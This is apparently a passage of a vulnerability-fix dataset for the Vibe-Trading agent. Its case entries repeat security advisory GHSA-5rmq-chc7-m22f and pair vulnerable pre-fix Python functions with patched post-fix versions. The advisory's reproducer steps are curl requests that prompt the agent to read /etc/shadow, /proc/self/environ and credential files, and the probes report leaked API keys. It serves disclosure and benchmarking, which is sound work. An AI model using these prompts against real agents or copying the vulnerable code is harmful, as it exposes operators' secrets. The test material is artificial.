shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "main"
+function_lines = [[694, 710]]
+id = "hkuds-vibe-trading-ebb08ee489b9450b"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/mcp_server.py"
+post_fix = "def main():\n \"\"\"Entry point for `vibe-trading-mcp` CLI command.\"\"\"\n global _include_shell_tools, _registry\n import argparse\n\n parser = argparse.ArgumentParser(description=\"Vibe-Trading MCP Server\")\n parser.add_argument(\"--transport\", choices=[\"stdio\", \"sse\"], default=\"stdio\",\n help=\"MCP transport (default: stdio)\")\n parser.add_argument(\"--port\", type=int, default=8900,\n help=\"SSE port (only used with --transport sse)\")\n args = parser.parse_args()\n _include_shell_tools = True if args.transport == \"stdio\" else _env_shell_tools_enabled()\n _registry = None\n\n if args.transport == \"sse\":\n mcp.run(transport=\"sse\", port=args.port)\n else:\n mcp.run()\n\n"
+pre_fix = "def main():\n \"\"\"Entry point for `vibe-trading-mcp` CLI command.\"\"\"\n import argparse\n\n parser = argparse.ArgumentParser(description=\"Vibe-Trading MCP Server\")\n parser.add_argument(\"--transport\", choices=[\"stdio\", \"sse\"], default=\"stdio\",\n help=\"MCP transport (default: stdio)\")\n parser.add_argument(\"--port\", type=int, default=8900,\n help=\"SSE port (only used with --transport sse)\")\n args = parser.parse_args()\n\n if args.transport == \"sse\":\n mcp.run(transport=\"sse\", port=args.port)\n else:\n mcp.run()\n\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "execute"
+function_lines = [[30, 91]]
+id = "hkuds-vibe-trading-f4657c425bc7405e"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/tools/read_file_tool.py"
+post_fix = " def execute(self, **kwargs: Any) -> str:\n \"\"\"Read a file.\n\n Args:\n **kwargs: Must include path. Optional limit and run_dir.\n\n Returns:\n JSON string containing content or an error.\n \"\"\"\n file_path = kwargs[\"path\"]\n limit = kwargs.get(\"limit\")\n run_dir = kwargs.get(\"run_dir\")\n\n allowed_roots = []\n if run_dir:\n try:\n allowed_roots.append(_safe_run_dir(str(run_dir)))\n except ValueError as exc:\n return json.dumps({\n \"status\": \"error\",\n \"error\": str(exc),\n }, ensure_ascii=False)\n # Read-only access to skills/\n skills_dir = Path(__file__).resolve().parents[1] / \"skills\"\n if skills_dir.exists():\n allowed_roots.append(skills_dir.resolve())\n\n # Strip redundant \"skills/\" prefix that LLMs sometimes add\n paths_to_try = [file_path]\n if file_path.startswith(\"skills/\"):\n paths_to_try.append(file_path[len(\"skills/\"):])\n\n resolved = None\n for root in allowed_roots:\n for p in paths_to_try:\n try:\n candidate = _safe_path(p, root)\n if candidate.exists():\n resolved = candidate\n break\n except ValueError:\n continue\n if resolved:\n break\n\n if resolved is None:\n return json.dumps({\n \"status\": \"error\",\n \"error\": f\"File not found or path escapes workspace: {file_path}\",\n }, ensure_ascii=False)\n\n try:\n text = resolved.read_text(encoding=\"utf-8\")\n if limit and limit > 0:\n lines = text.splitlines(keepends=True)\n text = \"\".join(lines[:limit])\n if len(text) > _OUTPUT_LIMIT:\n text = text[:_OUTPUT_LIMIT] + \"\\n... (truncated)\"\n return json.dumps({\n \"status\": \"ok\",\n \"path\": str(resolved),\n \"content\": text,\n }, ensure_ascii=False)\n except Exception as exc:\n return json.dumps({\n \"status\": \"error\",\n \"error\": str(exc),\n }, ensure_ascii=False)"
+pre_fix = " def execute(self, **kwargs: Any) -> str:\n \"\"\"Read a file.\n\n Args:\n **kwargs: Must include path. Optional limit and run_dir.\n\n Returns:\n JSON string containing content or an error.\n \"\"\"\n file_path = kwargs[\"path\"]\n limit = kwargs.get(\"limit\")\n run_dir = kwargs.get(\"run_dir\")\n\n allowed_roots = []\n if run_dir:\n allowed_roots.append(Path(run_dir).resolve())\n # Read-only access to skills/\n skills_dir = Path(__file__).resolve().parents[1] / \"skills\"\n if skills_dir.exists():\n allowed_roots.append(skills_dir.resolve())\n\n # Strip redundant \"skills/\" prefix that LLMs sometimes add\n paths_to_try = [file_path]\n if file_path.startswith(\"skills/\"):\n paths_to_try.append(file_path[len(\"skills/\"):])\n\n resolved = None\n for root in allowed_roots:\n for p in paths_to_try:\n try:\n candidate = _safe_path(p, root)\n if candidate.exists():\n resolved = candidate\n break\n except ValueError:\n continue\n if resolved:\n break\n\n if resolved is None:\n return json.dumps({\n \"status\": \"error\",\n \"error\": f\"File not found or path escapes workspace: {file_path}\",\n }, ensure_ascii=False)\n\n try:\n text = resolved.read_text(encoding=\"utf-8\")\n if limit and limit > 0:\n lines = text.splitlines(keepends=True)\n text = \"\".join(lines[:limit])\n if len(text) > _OUTPUT_LIMIT:\n text = text[:_OUTPUT_LIMIT] + \"\\n... (truncated)\"\n return json.dumps({\n \"status\": \"ok\",\n \"path\": str(resolved),\n \"content\": text,\n }, ensure_ascii=False)\n except Exception as exc:\n return json.dumps({\n \"status\": \"error\",\n \"error\": str(exc),\n }, ensure_ascii=False)"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "_run_with_agent"
+function_lines = [[220, 278]]
+id = "hkuds-vibe-trading-fc64bd08539555f1"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/session/service.py"
+post_fix = " async def _run_with_agent(\n self,\n attempt: Attempt,\n messages: list = None,\n *,\n include_shell_tools: bool = False,"
+pre_fix = " async def _run_with_agent(self, attempt: Attempt, messages: list = None) -> Dict[str, Any]:\n \"\"\"Execute an attempt with the V5 AgentLoop.\n\n Args:\n attempt: Current execution attempt.\n messages: Session message history.\n\n Returns:\n Result dictionary containing status, run_dir, run_id, metrics, and related fields.\n \"\"\"\n from src.tools import build_registry\n from src.providers.chat import ChatLLM\n from src.agent.loop import AgentLoop\n from src.memory.persistent import PersistentMemory\n\n llm = ChatLLM()\n pm = PersistentMemory()\n\n session_id = attempt.session_id\n attempt_id = attempt.attempt_id\n\n def event_callback(event_type: str, data: Dict[str, Any]) -> None:\n \"\"\"Forward AgentLoop events to the SSE event bus.\"\"\"\n data[\"attempt_id\"] = attempt_id\n self.event_bus.emit(session_id, event_type, data)\n\n agent = AgentLoop(\n registry=build_registry(persistent_memory=pm),\n llm=llm,\n event_callback=event_callback,\n max_iterations=50,\n persistent_memory=pm,\n )\n self._active_loops[session_id] = agent\n\n # Build the message history context.\n history = self._convert_messages_to_history(messages) if messages else None\n\n try:\n loop = asyncio.get_running_loop()\n result = await loop.run_in_executor(\n _AGENT_EXECUTOR,\n lambda: agent.run(\n user_message=attempt.prompt,\n history=history,\n session_id=session_id,\n ),\n )\n finally:\n self._active_loops.pop(session_id, None)\n\n # Load metrics from the run output when available.\n if result.get(\"run_dir\"):\n metrics = self._load_metrics(Path(result[\"run_dir\"]))\n if metrics:\n result[\"metrics\"] = metrics\n\n return result\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per 